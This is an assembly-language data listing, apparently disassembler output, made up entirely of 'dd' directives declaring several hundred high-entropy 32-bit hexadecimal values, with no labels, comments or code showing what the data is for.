dd 3FC21B3Dh, 7A5A8332h, 0C488B06h, 0E1D18EEh, 6D1904F4h
dd 2DBB5C98h, 0E8E2C9D4h, 36453601h, 0FF33FF2Ah, 0F8667E3Bh
dd 0E07610CDh, 63EC684Ah, 59C040D1h, 0CA67EE9Eh, 2F494895h
dd 227B5199h, 0C730897Bh, 6D80F2FEh, 0E5A9BCE0h, 80242E57h
dd 0A3FB7FF0h, 2DB6B61Fh, 0AD1A9E7Bh, 0E2636E5Dh, 16DD162Fh
dd 81332AC8h, 8509233Ah, 31DE55FCh, 0CB0ACC73h, 0A1915BD0h
dd 0DB2AA1CCh, 78F14210h, 0A963421Ah, 631D5E5Fh, 79DDBD4Ch
dd 0D3AD6E79h, 376A085Ch, 91DAA9CCh, 7E470FF4h, 0C435F1D9h
dd 15DB26Ch, 1827A86h, 0FC4B1C1Fh, 0E98AC53Ch, 6C701E6Dh
dd 0B689091h, 52C8F7EEh, 8713DA4Ch, 0E3A9C355h, 3106E2C7h
dd 0B29196B8h, 7C11F73Eh, 231F1B58h, 0F9F0F375h, 0D2FCEFABh
dd 25CECFAEh, 0FDA122A0h, 8082FF55h, 668257FCh, 8DBA694Bh
dd 320AADB5h, 149D9E7Fh, 0A303CC1Ah, 2942FA81h, 4A914273h
dd 149DAE08h, 0A58BA86Eh, 0A37E33Fh, 0CC2549A0h, 0D9515C54h
dd 0F6452C1Fh, 0D940BEF6h, 0A6D2CA6Dh, 0BF06655Eh, 0D932C28Ch
dd 828F8F66h, 4B43E386h, 1A8CE3CCh, 404E93DFh, 7B73017Eh
dd 59BBE96h, 86A32628h, 0F9C2027Ch, 0F750CB5Fh, 0BDF41977h
dd 0AD36882Dh, 0BA6B3C00h, 0B17B8EC5h, 3D508DA4h, 77DF5E1Ah
dd 9742E4BDh, 0AA04E307h, 0E872DF1Dh, 0ED948F41h, 568AABA8h
dd 0E1B86EE3h, 8ECDFBFBh, 0E13AFE15h, 6F34751Eh, 651E9666h
dd 0D073BBDEh, 33CCCFB2h, 5FD8AED7h, 59FD8270h, 6EFE7C6Ch
dd 0D84D79E6h, 49FB263Eh, 7DA1F819h, 0EE8F0CD6h, 0D565C84Ah
dd 1629F850h, 4F93EFAEh, 3263BBE3h, 0F7A46A1Fh, 436F4A4Dh
dd 0A71A4B6Bh, 9E360B75h, 118768A3h, 476EE2CCh, 1189D8EBh
dd 9CB3ABDFh, 1B55F162h, 5B748676h, 0ADA78AEAh, 0E24E3052h
dd 0D1C8BE8Dh, 0B76748C2h, 51E8240Fh, 1312A057h, 0E17BC284h
dd 3822C4BDh, 4FC4D12Eh, 0EB3473h, 0C0F77CDBh, 0B00EC83Ch
dd 0DA7E2D7Eh, 0FC2CEE81h, 37BC4A5Eh, 0B802D221h, 0B2A36CD3h
dd 0B0B0ED13h, 0B49ADB8Dh, 8FEB74FCh, 121F1E4Ch, 0DEA79212h
dd 0FBB5A8BBh, 0EBA20259h, 5B788B93h, 0A5A579FCh, 3E27EEFBh
dd 0A94B54A2h, 67A9D7C6h, 0FA0BE553h, 678CCCDCh, 96290DFBh
dd 19A5EE29h, 37E72173h, 2B2455A0h, 0E6397919h, 69D152EBh
dd 4A23B373h, 0CB90E30Ah, 0AAE293D0h, 6E5C4A57h, 0A97A5051h
dd 3CCD4BDCh, 49E27B7Dh, 7030F72Ch, 34B1C3B6h, 763F09A8h
dd 1C64DFE4h, 0D664F345h, 0D21BD255h, 0F9473FC9h, 38FB41C4h
dd 1C221221h, 9D49A109h, 5D8C1C7Dh, 47E27C26h, 89D617AEh
dd 0CB5F01E4h, 81423F0Eh, 18016F2Eh, 8DD89BDFh, 13907CE7h
dd 0C45C5F46h, 775C6B29h, 0D9D6A3D4h, 0F3684388h, 768F9139h
dd 0F1254355h, 99566601h, 24D82EAh, 7027D4CDh, 0F6A1D592h
dd 1C12CBF1h, 28710F7Fh, 0E7115E35h, 63822BC0h, 0BC7CEDC4h
dd 0AB9F5911h, 429F5B4h, 3C968145h, 3AC03E4Ch, 6DFD1696h
dd 40840C25h, 0CEE12144h, 353F2CA0h, 23759F6Ah, 90127177h
dd 626091E2h, 43DC5E0Dh, 0DDCBC888h, 0E0748BAFh, 8AC890DFh
dd 0A8EFF3FBh, 0CBE32565h, 40156D9Fh, 4463F54Bh, 178AD3D5h
dd 7D4DD422h, 6BAD5815h, 4DD15763h, 44052957h, 5ABAD92Bh
dd 773796A2h, 61AA4938h, 446BCA79h, 0AEFB2A86h, 5F9EF645h
dd 4F4F0DC3h, 6A8D3E76h, 0DA7FD1A7h, 7909D654h, 0B3D249DFh
dd 7D19B885h, 72C2ACB1h, 0F06A8863h, 1EC5F287h, 0F8182F06h
dd 5AEA75D7h, 73B618EFh, 46F7830Bh, 69424BABh, 27C54F74h
dd 9AAB8625h, 0E523F0FFh, 0CE28A3A7h, 1861CDEAh, 0AC2C830Ah
dd 6D381A47h, 1C2220ABh, 9E54D707h, 225BF582h, 22AC6AFAh
dd 0F223FB89h, 0F5A2F422h, 422778A6h, 3349B235h, 0E562A73Ch
dd 381BA801h, 598FC570h, 8FA88C2Ch, 5FCBF701h, 65489973h
dd 127B2915h, 4531E504h, 207AA9DCh, 0F23EC2E1h, 60C10CBFh
dd 79FFEAE6h, 82D6D333h, 0F887012Dh, 5CF980F6h, 5EA0F5ACh
dd 0C4A14AF7h, 3CE1A023h, 0D20336A2h, 1E22C1A6h, 0F33992Ch
dd 2B6CAC62h, 738EB26Ch, 0CB2D3B4Eh, 3F2C5C0Ch, 9F4FD2F5h
dd 3FAEDF9Ah, 0A5E4E5D2h, 2EA39195h, 0C6F7A372h, 7047D9C4h
dd 0BC8E0268h, 0C39998CAh, 733304BDh, 6678A0C7h, 0E2C9E643h
dd 62754D3h, 770B16ECh, 0E0843CBAh, 82B2887Dh, 3EF2EB73h
dd 0DBBDFC0Bh, 72F44E11h, 0B37A31F3h, 80E01A34h, 1FAA765Ch
dd 51BF6627h, 404D555Ch, 0BC204322h, 19B89FABh, 5473072h
dd 6E6E3FA4h, 18475B1Bh, 0D332137Fh, 0AE2C8D7Ah, 0C6C96EE6h
dd 0ABB604B2h, 0A378658Fh
dd 1392AAFFh, 78524673h, 57871388h, 0CD657BD9h, 0BEA5A3BEh
dd 5CBACA6Ch, 461DCD3Bh, 68CD4D9Bh, 0B59C9772h, 0F0D3B010h
dd 0A9C9FD1Fh, 80FC6D51h, 81986B61h, 0AC70D436h, 843C5759h
dd 78AAE384h, 442F9B28h, 23574F60h, 51E23CEAh, 926C2BB5h
dd 0A39CF646h, 0B7345447h, 1E9B75E8h, 54DA988Dh, 0E3641BC7h
dd 0C99A3710h, 0F45C8278h, 873DEDA9h, 8F7385D6h, 196AD5A4h
dd 7575E65Eh, 22D1EEDAh, 0CD446535h, 2DE485E4h, 8567083Dh
dd 0D11B00E4h, 6835AFDDh, 0CE4027E8h, 574B1465h, 29348F4Dh
dd 2517F886h, 7F9E0FF8h, 69693426h, 20F82F05h, 7E358F46h
dd 0EF1E6192h, 0A3F9A386h, 0D3D44D7h, 690777EEh, 0E63DEAE3h
dd 463010DBh, 2AD41250h, 0F8E6BF9Ah, 659DF30Dh, 6FD5B7ACh
dd 0BA90CEA5h, 87939DB8h, 3732B37Ah, 1DB4130Eh, 92CEE60h
dd 35C0795Fh, 8E0E8AFh, 0F13B68ACh, 63AA0937h, 0C0D2453h
dd 188BDD2Dh, 2438CDDFh, 0E6379BC4h, 0FA839EB1h, 0C9EE61D7h
dd 8426A700h, 0F30D65E3h, 0C79F30BAh, 95121C31h, 0DCC347B1h
dd 76D31C5h, 0C568D181h, 0CDC0EE9h, 47FB8E28h, 0BE474A9Dh
dd 20F0BFB6h, 0D947FF8h, 6FFFF0EBh, 927F190Ah, 0FCA122C5h
dd 0B0211492h, 2D8ACA69h, 0BAD05706h, 0E38B037Ah, 0B5557780h
dd 1794E908h, 17B7B47h, 371CFBBBh, 9CFE9C64h, 0DF8807EDh
dd 2A9867B1h, 0BC8AC072h, 7F99B032h, 6BDDF64Fh, 741ED44Ah
dd 0FC71D537h, 0CEB8E5E7h, 4B14320Eh, 793DD0CEh, 0B29123C7h
dd 9A04D489h, 0F307D2BEh, 153F9447h, 2360DB7Dh, 28A2021Fh
dd 396B47DFh, 0D9506EB9h, 418458FDh, 871431B3h, 0AE4D374Dh
dd 16F0D34Fh, 0F200F949h, 3C3CD16h, 0BF38B424h, 0EAC4E180h
dd 2AF26AF6h, 7126A82Ch, 0C71D86Ch, 5987BEC9h, 0A9264BBAh
dd 4C2B8FF1h, 2028FC2Bh, 0C95C2AFAh, 0B8B3D522h, 410DC796h
dd 0A9019830h, 7112F190h, 5C7DD815h, 0C16D109Ch, 8C1D1E97h
dd 1433FCF1h, 0D5AF5BC7h, 8C449702h, 900EA5A1h, 38B91068h
dd 2E7D526Fh, 0E6F147D4h, 9764C0F0h, 503C280h, 8E3F08CCh
dd 2A9D743h, 0FF05E1D4h, 985BCB6Bh, 0FB5F1615h, 1FB23F21h
dd 66DA0405h, 1B955118h, 0BA04AE8h, 0DC0C8BE7h, 0C624E11Fh
dd 7B6F840Ah, 198DD7FEh, 735B84EFh, 5AC913FEh, 672CAE41h
dd 0CBD9FC9Dh, 0F81059F3h, 34EAC7BEh, 0BDC92DEFh, 0D6762B3Ch
dd 9F491635h, 0CB65FAC9h, 315064F0h, 93AFEF14h, 733DAB9Ah
dd 53C347C3h, 368DE13Eh, 3BE48BEBh, 0F0C2E402h, 368240h
dd 8C0EC525h, 725D8C6Ah, 0DBD94A08h, 601C6FD5h, 0F9FA936Ah
dd 0AD169737h, 50F3D1F5h, 0D841144Fh, 0F111F783h, 3F5A359Dh
dd 0CD61AD05h, 7DF49484h, 0A3DFF707h, 0FF8D44A4h, 3B3714Dh
dd 0D6E31250h, 8C79EDACh, 0A36B82E2h, 0FB5655F5h, 205503F7h
dd 3A6DB9D5h, 0AB92C9B7h, 1541294h, 3CF3C6Bh, 0EE487D15h
dd 6AA5D1F1h, 7CE55FBEh, 2EE9BE2h, 709F51EFh, 8AFCB23Fh
dd 0F6468E1Ah, 72A8ED53h, 0B42E2451h, 0A42385D4h, 232490D9h
dd 9C1D4E94h, 73074F93h, 671DE50h, 0C15212FFh, 633E4C70h
dd 0C7E1BF20h, 91863B9Ch, 987787F3h, 67B5B5B6h, 6D307D0Ah
dd 548E3B40h, 1BC6A72Dh, 0A2E30E2Eh, 0BE3BD3A4h, 0E46C7372h
dd 6AFBA763h, 71B464EDh, 0A128CB06h, 7D8B77Eh, 268BD152h
dd 0B0CFC491h, 0C192947Bh, 0DD799029h, 409C9949h, 0BDCDF3A3h
dd 0EBE38692h, 9E6B14FDh, 56752D62h, 390CE154h, 3791BE39h
dd 0B3F4DC45h, 3A1B24AFh, 0D2A33F3Ch, 0B1B8998Bh, 0A4DEEECFh
dd 3309BC17h, 8C010E09h, 0B46D8394h, 850C01BDh, 0AB4FF2A6h
dd 6237BCE2h, 0E955CF1Eh, 0CA24CDB0h, 2D2A07C3h, 63D9705Ch
dd 0D6090001h, 9F749C0Ah, 8C739753h, 0F34EADB6h, 3D7B1F33h
dd 0B71E8075h, 351A385Ch, 88054370h, 0E77AF71Ah, 0C478130Eh
dd 990EB925h, 0ECB8CFDCh, 93E6814Ch, 2DB17EBAh, 0A2CE37B3h
dd 53E4812Ah, 7BD7F145h, 988BED88h, 5DE72933h, 35D48809h
dd 29AF319Bh, 68F24FD7h, 0E1AB5849h, 57C7884Dh, 2CAD0A08h
dd 7F70F25Dh, 8A5706BCh, 3A77F448h, 642D3621h, 0D9B8EAF4h
dd 0FDCA2837h, 6A63584Fh, 0CB036B15h, 84487A83h, 0E8E9615Eh
dd 0F2AD4F79h, 53D6CB4Ah, 3A6A1567h, 85DB15C0h, 0C74BDCD2h
dd 6F27D9A1h, 0F4CC5630h, 0CBAB6A0Bh, 0E7947546h, 8C5D622Fh
dd 7D73FA4Fh, 0CD294379h, 2D3DA3C9h, 0A19E3AF2h, 70F23D78h
dd 234E45FDh, 0C20026F0h, 56BE423h, 76DF20B7h, 66972078h
dd 750F319h, 0FCE09427h, 6A9B8CEh, 8308A0Fh, 503D115Bh
dd 2A42C7B1h, 0CBFBEC4Fh, 0F148A1AEh, 0B4B61A9Ah, 0F15B7F8Dh
dd 0E3BE44F5h, 0C977DB70h, 0DCB99F04h, 515D1952h, 0E264E7BDh
dd 0F7F64492h, 65749E55h, 0CF19F9E1h, 617D0BBCh, 9ADC81FBh
dd 0BCD3C949h, 0C81F6844h, 54D4D3D3h, 834075D1h, 0CE09509Bh
dd 43A20E08h, 200C852Ch, 23CB15D1h, 2CB2150Eh, 883641CEh
dd 0DC1A4EF0h, 7EDFC334h, 24D523E9h, 0EE8DC396h, 0C5BA7074h
dd 0A79F273Fh, 3BCD8726h, 0D129F7CDh, 0FC336F0Dh, 85949EC7h
dd 795C6D6Eh, 0C18B9E78h, 0EF051523h, 0B421BD06h, 91F16544h
dd 6B7EE594h, 1F25F46Bh, 34942C3Eh, 3C8C0496h, 532E7F41h
dd 7C3952B6h, 0D9C5F40Dh, 48679586h, 9804866Dh, 49A5711Eh
dd 7EEA0CACh, 0CD473B33h, 4C5599C3h, 0B5C86E07h, 0CCD86B70h
dd 0A114ACA5h, 66B1F3A5h, 51EA0534h, 34D4C6F5h, 49DA5813h
dd 0E2657A33h, 0B14BE8F5h, 94E3C485h, 9F2C544h, 1683FFA4h
dd 0BF044281h, 0BEC3E7B9h, 35C9CAD3h, 730F5589h, 69DD5173h
dd 0C2629A99h, 0F112975Bh, 0CD9BA5F6h, 0B1452CF6h, 0F2DF1375h
dd 929EEBFFh, 0BF76AB31h, 7A0D683Bh, 605BCDB5h, 0F3358C39h
dd 8DE50332h, 0B5FBCFD0h, 799B816Bh, 0C08E2474h, 7A9DE3C0h
dd 0E9158BA3h, 20A95D4h, 4C203B4Ah, 5EE1DF2h, 0E900C18Eh
dd 7B99BB9Dh, 78C71090h, 627150D2h, 0B0A1ABACh, 891A2016h
dd 2FA59490h, 70A00994h, 0A768EC6Ah, 0EA7E7131h, 1D1C8C08h
dd 7D0E0B0Ch, 49DF20DDh, 7B691E63h, 0EEF9B6B5h, 17744F01h
dd 29051CDDh, 7636C52Bh, 6A168044h, 88ADB948h, 0DB5B370h
dd 0C953A837h, 4E955260h, 0B98CB9E1h, 675477C3h, 0CFE3B7A1h
dd 5302138Fh, 4DF4B7DAh, 77DC479Bh, 0EDCAFB55h, 0B5DFB70Ah
dd 0F2DB2660h, 0E06AA5Bh, 9E5EE179h, 4FCF164Dh, 0EDC16871h
dd 7BE2691Eh, 0F47FC76Ah, 3AECF307h, 6CFB02F4h, 6B151FB2h
dd 94A084CFh, 9EE131D2h, 4957C18Ch, 0A173AEBAh, 0E4DBA73Eh
dd 6777AAE5h, 4902C02Eh, 0A17E6463h, 143BD085h, 817DB446h
dd 0E6171018h, 76710E80h, 19C1E234h, 0E4760712h, 2F2F2AECh
dd 0B010190Dh, 2CBB64DFh, 0D67EC758h, 75707006h, 5482B1FEh
dd 3CF84F31h, 0FE17627Bh, 3E922747h, 34E6112h, 0EDDBC440h
dd 0DC12237h, 0BD0195ECh, 0D7BA897Dh, 0B8BBD6BDh, 127C76DEh
dd 2D2A2F31h, 48F83543h, 0AF6BAFCAh, 0DAF766B6h, 82FE4732h
dd 0F9CBA532h, 166DCC16h, 5BDC6D97h, 0CF120340h, 0C8BF754Bh
dd 91B1800Bh, 0A44E3639h, 42090BCEh, 3210A5B3h, 0E103C735h
dd 66735B17h, 0F512EA44h, 95B9C4BAh, 0CE963E13h, 0A1E88E9Fh
dd 9F43F1DDh, 0A7599E5Fh, 7E220C79h, 56746CEh, 0C1793AF6h
dd 0AB809CB7h, 0A3D6D624h, 18EA618Bh, 8F71AC74h, 582DD4DCh
dd 729897EEh, 0FED8DC5Fh, 64EED719h, 0C033F641h, 7E629407h
dd 749A21A5h, 0DC005C57h
dd 0D0899F90h, 5BB84935h, 99C8E6BAh, 0C853E4A8h, 0D3A5F078h
dd 0F38F131h, 0BF636748h, 8280C619h, 0EAECA420h, 76CC0463h
dd 10D09BB0h, 0C39234A7h, 33B56A66h, 0CBD5AD79h, 8DECB6A3h
dd 17112DDDh, 34C099Ah, 0C0862289h, 9F111348h, 0CDBA9253h
dd 0C917BCDAh, 0F25FB7FFh, 0E2FF139Fh, 0A714F47Bh, 32ED6566h
dd 61841DE1h, 37D59ADAh, 0B0B307BCh, 0EC23E53h, 0CF48E1F5h
dd 42481D75h, 4EF3F56Ch, 0D52405C3h, 2C0D9420h, 3F69C370h
dd 0D46F9D11h, 0DE098641h, 0A43034E1h, 0E24932Bh, 0F87193C4h
dd 0E223620Eh, 296CB14h, 31C6F0E0h, 720853B9h, 7F8B1F13h
dd 84E28625h, 69F234E7h, 64F3E1BDh, 74D7AD83h, 1E6E0BF0h
dd 0F7C93115h, 0E8C110A5h, 24FA0953h, 0B1C785D6h, 0CD01BF14h
dd 486E62E4h, 52EF0898h, 0BA92DC18h, 927A3B57h, 682F80F3h
dd 0C28C631Bh, 1501B81Bh, 0BF0C9ECBh, 741E7EA0h, 85C53FD7h
dd 0C0235DD4h, 0EA28397Ah, 5E8F1F16h, 4FD2B9FCh, 7D68F303h
dd 0D70795Fh, 5D24B18Eh, 328D5ACAh, 5272E7BBh, 96916F80h
dd 0FB32270Eh, 6A757B1Bh, 57F947EAh, 8CF008A5h, 0DF1AE75Eh
dd 912A96AFh, 356D3F3h, 0B563C82Bh, 9118196Eh, 14989316h
dd 7B3EE620h, 4A4F28AFh, 0EE3C0FD8h, 0AD69CA1Ah, 54DD226Ah
dd 4ACD5D44h, 326FFE8Dh, 6381A79h, 0C8017E23h, 0A3931B07h
dd 2D30CC29h, 0D948710h, 20263FABh, 0CF2EB8F5h, 743FDC5Dh
dd 0AC6B0C48h, 986E9363h, 3D28BBDCh, 0CA42B919h, 5180B819h
dd 0ACAD84B1h, 7E5F8DA3h, 30566EE9h, 6E3967Ah, 0BE9C345Fh
dd 98FA9361h, 0F3E9E9Ah, 1665836Fh, 0BF04DBE7h, 0CAC8376h
dd 0ABF33D94h, 6DB4BA1Ah, 0ED0C974Dh, 0DCA72376h, 5AD2ABC3h
dd 7010C23Fh, 0BB6FF384h, 0F2007191h, 5ED81DFDh, 0AED5BFDAh
dd 4EA1EE85h, 0DE34884Fh, 0C22B5BDh, 4F13EF69h, 0BD012C4h
dd 0D4180C7Fh, 0BF87EE5h, 85A4F4BCh, 2FFACB80h, 0F3E2303Bh
dd 0B2822723h, 32BD8DA3h, 8F7146EEh, 0F66C276Dh, 3C910863h
dd 0FD2DB5CCh, 8E682A00h, 5271F9C4h, 0AB7190C3h, 26E5E067h
dd 77B178C1h, 48A0C5Bh, 5D74AF43h, 0CFE7B77h, 34B6703Dh
dd 0BFA13DF7h, 98999B76h, 0F4E5FDD0h, 0C61D6ADh, 0EACEB3F1h
dd 2AD876C5h, 654309Fh, 721E350Eh, 0C4055096h, 5808627Fh
dd 0BAAA8A52h, 8AE8DB9Ch, 33B2B48Ch, 4C30DDF4h, 89937E03h
dd 0D6061406h, 0D93BD100h, 0BE6EC871h, 31E5E2DCh, 651143E6h
dd 31053AC0h, 2597AAA4h, 0C3CA8A59h, 37E10DCCh, 0EB82FC00h
dd 9B956FA8h, 890D5B33h, 2DEE7206h, 206CEA19h, 2AC658CAh
dd 2E9858Eh, 0D5E42EA2h, 6F2C204Dh, 0B50E138h, 8B0F711h
dd 9D2219D5h, 0C4E3A1F4h, 4FAC33DBh, 199E0AB4h, 47E26FF1h
dd 0EEA52096h, 8C37D384h, 68606BF4h, 0C27E4661h, 62FADFFDh
dd 27894565h, 7757B1B5h, 16880360h, 0CE989DD2h, 4D19C4D3h
dd 38F96E7Bh, 5C5D3E5Ch, 0CCB011DFh, 7897A95Fh, 0F431D2EAh
dd 0CB8FE2F6h, 0DB4B50DCh, 50ED109h, 0C6DDAD85h, 0DAC7CBDDh
dd 0D7E9BB6h, 78C2A75Eh, 256EB475h, 0EA5E0DB2h, 8B156800h
dd 732292D6h, 180D7D29h, 0F59929C3h, 9BA1D054h, 70BAAD2Ch
dd 0B7FB070Ch, 24421B5Eh, 82C02215h, 0A7F6151Fh, 6969FE99h
dd 9083D7DAh, 0B0E6C64h, 32EE66A6h, 67397FE9h, 191150F2h
dd 4C240D6Dh, 801592B7h, 2ACDB0EAh, 207D72CCh, 0AE1131BBh
dd 0B8454737h, 0B0904C5Ah, 359AEC0Bh, 1B4CE63Bh, 71F5B687h
dd 29C389A8h, 413E7439h, 0FCBC4C14h, 28B6625h, 123C4CECh
dd 61C35D85h, 95CE862Bh, 39EF022h, 68EF73D0h, 8C676555h
dd 4AAB43FDh, 6EF7D9A4h, 3B6F2FAEh, 120D4A6h, 4ED251A1h
dd 33450B06h, 0E6D866BEh, 0AC7D64AAh, 7852360Fh, 0F9F40577h
dd 85C46A30h, 6176AE2Dh, 0CF00551Dh, 0B1B1B6C1h, 0ADA3FAD3h
dd 6447139Ch, 575D7DA0h, 257DF2BBh, 131C846Ch, 87A750CAh
dd 402599B3h, 551D08C0h, 0DC0B37EEh, 355D5B19h, 0D8A9E3C1h
dd 91664583h, 1B68346Bh, 0C6C98294h, 22C5053Eh, 9ABC0C9Fh
dd 0F3ABD2D8h, 13D750B7h, 446D3669h, 36C813B7h, 229903FCh
dd 0C34DCDB3h, 2EFB9E64h, 1865FF77h, 0EFE57F69h, 0ED7371A0h
dd 0AA8B71C5h, 0DB03A5CCh, 0A90B9F49h, 3761A1D9h, 3C5D01A1h
dd 0B5E658BBh, 663717A8h, 0B6CFF9Dh, 6A5669BFh, 0F1429909h
dd 5FC5DAC7h, 8B20C4F8h, 5081CD53h, 0DEE38467h, 62E53D5Fh
dd 5E38BD83h, 1908AD05h, 0F720535Bh, 6C671B16h, 6A3761CCh
dd 11D258D3h, 0DE52010Fh, 0A2B743DFh, 40FF7777h, 5DB76959h
dd 321A9DB9h, 0E3DB2F7Dh, 4626D848h, 399E5E50h, 0CF57BAE7h
dd 5F63ABD0h, 179B0455h, 6A623D82h, 0B13A36BEh, 0E67554A4h
dd 0C324083Ch, 0ED9AC75Ah, 332045B5h, 0EA1FA2D0h, 0FB33DE44h
dd 0A6776FFh, 8CC2E7CFh, 8D0ECCF2h, 4F3E220Fh, 12443509h
dd 65309AF2h, 1C61AC16h, 7B71430Dh, 309A7ED1h, 0FD828CA9h
dd 0BB71B5F0h, 6CDABFF4h, 6503E0DFh, 0C934927h, 8A6C3598h
dd 71CC6301h, 0ADAD1A2Ch, 92B655EFh, 262C27CBh, 74A8D123h
dd 93D97810h, 76EC31BDh, 20192C50h, 5153104Dh, 0A1436DDBh
dd 3C213658h, 90EACE01h, 0BB954533h, 38D20D2Ah, 4230DCF7h
dd 3ACC15Eh, 0A549E024h, 0BAA5A74Ch, 8E2C194Bh, 7E0B22BDh
dd 0E76392FFh, 31176AE6h, 0A194AA91h, 9511D2h, 88A379BAh
dd 46E0E33Bh, 4971A247h, 9CFA70BEh, 7207BB22h, 2D2C7B5Eh
dd 139D2B31h, 2C912096h, 5EE52A6Ah, 23DED60Bh, 9FD50D7Fh
dd 8216815Fh, 5DBBC490h, 753E4478h, 0D4595CFEh, 9D75A4EBh
dd 0C1C73667h, 9D7BFDE2h, 183934E2h, 7266800Dh, 6D96D35Ah
dd 491BF1E3h, 0DAB6FDC4h, 9C0D4F3Ch, 55715055h, 0C1C5520Ch
dd 482E721Bh, 362195F2h, 43C143Dh, 0A886B7B8h, 0F56758AAh
dd 75CFF8A0h, 5928CC34h, 0A5676ECCh, 98C50C1Fh, 1DE39ABFh
dd 3A69959Ch, 0F7D9080Eh, 0D7E71459h, 0C175E849h, 0C31F549Ah
dd 0DF9E7420h, 6CEB2241h, 0AB55B114h, 0A16F6BF8h, 7771DF41h
dd 0A48252FFh, 0FB0BAEF6h, 952E8FD6h, 0BA807C05h, 1B6BB9D3h
dd 0CE1F867Bh, 6C8481ACh, 34AD59CFh, 9B38DF21h, 7F92BDDh
dd 81AD7FEBh, 0E419548h, 0BF28104Eh, 7036D22Eh, 1C112FBEh
dd 27D3F6FAh, 37F934ACh, 2057F0FFh, 430BDCD7h, 0EB6374E5h
dd 21C2E4DFh, 0F5B705D5h, 0B040B1C7h, 0FEE7EB96h, 6E1300BEh
dd 0C01C9F5Eh, 35E4DDB1h, 4FD641AFh, 69FCEA91h, 0CB5C1E08h
dd 0F42CBA5Dh, 5F069ED8h, 238AC14h, 0D544D75Dh, 885B5B31h
dd 0B9A622DFh, 17E52FAEh, 0C4B28DDFh, 22599Ah, 0A5D6E1EDh
dd 966CFB1h, 0EEF77D3Ah, 81B8C93Ch, 910CCA9Dh, 0BA6BE61Ah
dd 708920D3h, 79A2401Bh, 8E768D8Ah, 3457E227h, 0D13ACC3Dh
dd 76AA9B03h, 0B3DE0072h, 51110BF1h, 335647D9h, 79297E0h
dd 9A0F9419h, 7D752C24h, 0F65708ADh, 0D3070269h, 0C7E1BB5Dh
dd 0BAC7B7EDh, 26C4BA81h, 6DF3607h, 0DE43362h, 5F0F9AC7h
dd 0CDC5CA90h, 0F2B2CEF5h, 0C7369FA6h, 317C6296h, 6BFDF9FDh
dd 0B33CF8C2h, 6D8FF80Fh, 0B885211Dh, 600D633Ah, 284728FFh
dd 6C672E3Eh, 0AB1BC1A0h, 0AAA61139h, 21E85DABh, 55CED91Fh
dd 0C2B48CCFh, 4B993163h, 29EA62C7h, 541856DFh, 0BB4AF7E1h
dd 44BA5316h, 0CFE5FCC0h, 5B64F070h, 4D0CF591h, 59C4B1D2h
dd 0E63E2B48h, 0C32658E7h, 173B7C16h, 35A1302Dh, 224096E3h
dd 0B720C3ECh, 1EFD0A72h
dd 5248F5D7h, 29AB3159h, 5E814E8Dh, 0A196AE3Fh, 5990E541h
dd 206B6EFAh, 0BBEB624Ah, 6BD22C7Dh, 0A447FFC4h, 0E93B7BACh
dd 3D940FCEh, 53E6A6AEh, 0DB57DD73h, 0F72CBD83h, 0AD18ECCh
dd 989E7F20h, 0E62DF13h, 571B165Ah, 9F23398h, 44A2B068h
dd 570D6329h, 0D509F0ABh, 59E5E233h, 42AA4E04h, 0D17BBB8Eh
dd 0A94B5773h, 5CEA3A08h, 74A6329Dh, 1A3872AFh, 0A3FF6AFBh
dd 798A829Fh, 4F71BD42h, 0C24A34F9h, 68EE3BBBh, 0E074EACBh
dd 705C6792h, 0BC838C63h, 0E6D33C9Ch, 0CAB4982Fh, 0CA205D71h
dd 8901DD26h, 0D89A9B26h, 6E7E5E55h, 2640692Eh, 783E2597h
dd 4F10BB1Ch, 95CCB5DDh, 25AFC6EAh, 52BBD697h, 0EE6CDF21h
dd 0A6935FADh, 25AB8F39h, 0E0A8812Bh, 883C8F26h, 7104443Fh
dd 6D4FA293h, 0FB2C9815h, 671D760Ah, 311067B0h, 0C8B36042h
dd 0A1D4E391h, 255F1F4h, 6A0A2791h, 73CD5D84h, 0B051BE6Bh
dd 2C636410h, 430FB13Ch, 18AD1BA8h, 7E1BD483h, 586415BAh
dd 8BBDF6EBh, 71C9A96h, 1AEF0A61h, 0E7B53D04h, 85B3E783h
dd 113AE065h, 72CF2677h, 0B3F79EB6h, 75058B60h, 58A1E714h
dd 0DB3DF2A7h, 74E52BA2h, 0B95780D6h, 0BE6D0FB1h, 0E7EE4852h
dd 8166F207h, 4E720788h, 68BDD5FAh, 18E788C6h, 30744880h
dd 66DE9015h, 326437E3h, 23788296h, 0CE2BA44Ch, 0B7B2BB73h
dd 4BF73AAh, 2343D92Eh, 0F0101B05h, 7AD6A81h, 43928852h
dd 76915D96h, 0AE57ED18h, 0E3BCE06Bh, 12756453h, 9061025Ah
dd 0CA440F1Fh, 55384EF8h, 937BDAEFh, 963A2B9Dh, 4C422E29h
dd 5DC53709h, 0A6132953h, 0D259E4B7h, 2F8BAB92h, 0D5FFCE5Dh
dd 0D4A8168Eh, 0BA508E37h, 0D9F702E0h, 31E7CBEDh, 0EAD83CC1h
dd 5BC43BA2h, 2A58E9Dh, 0BDE65B4h, 9F92DB63h, 0A24995CCh
dd 0B796FE1Bh, 9687FCF7h, 77D4258Ah, 8F6FAAD1h, 44C6E2CFh
dd 0EBFD24D8h, 2110A419h, 0D796CFC3h, 29CF29D4h, 0E72ABA84h
dd 0EC37B5E9h, 16BF1547h, 0E0A41E9Ah, 8B804B38h, 2DB36262h
dd 0BE01EA68h, 7D328636h, 0AE9EABC5h, 9AA93AC4h, 0EA0DFFF8h
dd 8379DF84h, 9DA80DAEh, 19C8CBD6h, 7BAF4DD2h, 824700EDh
dd 7E64C14Bh, 0CFF76D7Dh, 0B515BB5Fh, 8522306Dh, 14AE96AEh
dd 3F3D4D15h, 7A781B67h, 5084891Bh, 2176BD39h, 695DA9AAh
dd 9DCEFE00h, 9E34545Fh, 0F98A4BE5h, 0AB651439h, 34C7F01Dh
dd 93292135h, 235D1386h, 500299E4h, 6538A56Dh, 56EB8588h
dd 9599B587h, 0D8488483h, 0A94AC760h, 0B3815B56h, 0A2E4DF66h
dd 0A00EDADEh, 12F7FB98h, 73460590h, 0AA0CCA55h, 0CE4BF8A3h
dd 4B15B447h, 850C9D2h, 0E74BEE5Fh, 668844F3h, 516A6E5h
dd 5ABD85B4h, 11EEBF42h, 0A85138EBh, 5779C5C5h, 861EFE57h
dd 0DB94B1C7h, 40B28D85h, 5E64B0A3h, 8DC345F5h, 0A59950C6h
dd 0EBA13860h, 0B559D351h, 0D4932197h, 9C0C76BDh, 0A8F48AF0h
dd 0FD4140CBh, 76E5B121h, 0E4D67E80h, 19AB878Bh, 0B2A1061Bh
dd 0B43665Ch, 0DAD33115h, 2D32AB6Dh, 2A3F0DDEh, 0F6D3F172h
